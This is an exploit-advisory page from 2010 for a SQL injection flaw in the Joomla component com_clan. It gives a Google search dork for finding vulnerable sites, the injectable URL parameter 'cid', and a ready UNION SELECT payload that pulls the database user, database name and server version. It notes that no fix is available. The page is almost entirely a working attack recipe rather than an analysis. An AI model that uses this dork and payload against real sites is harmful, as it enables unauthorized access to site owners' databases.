Joomla Component (com_clan) SQL Injection Vulnerability

2010-11-08 10:15:11

Joomla Component com_clan Sql Injection Vulnerability
==============================================================

http://joomlacode.org/gf/project/com_clan/

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [[email protected]]
.:. Dork : inurl:"com_clan"

####################################################################
===[ Bug ]===

www.site.com/index.php?action=com_clan&cid=185[Sql Injection]

===[ Exploit ]===

185+and+1=2+union+select+1,2,3,4,5,6,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),8

####################################################################

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.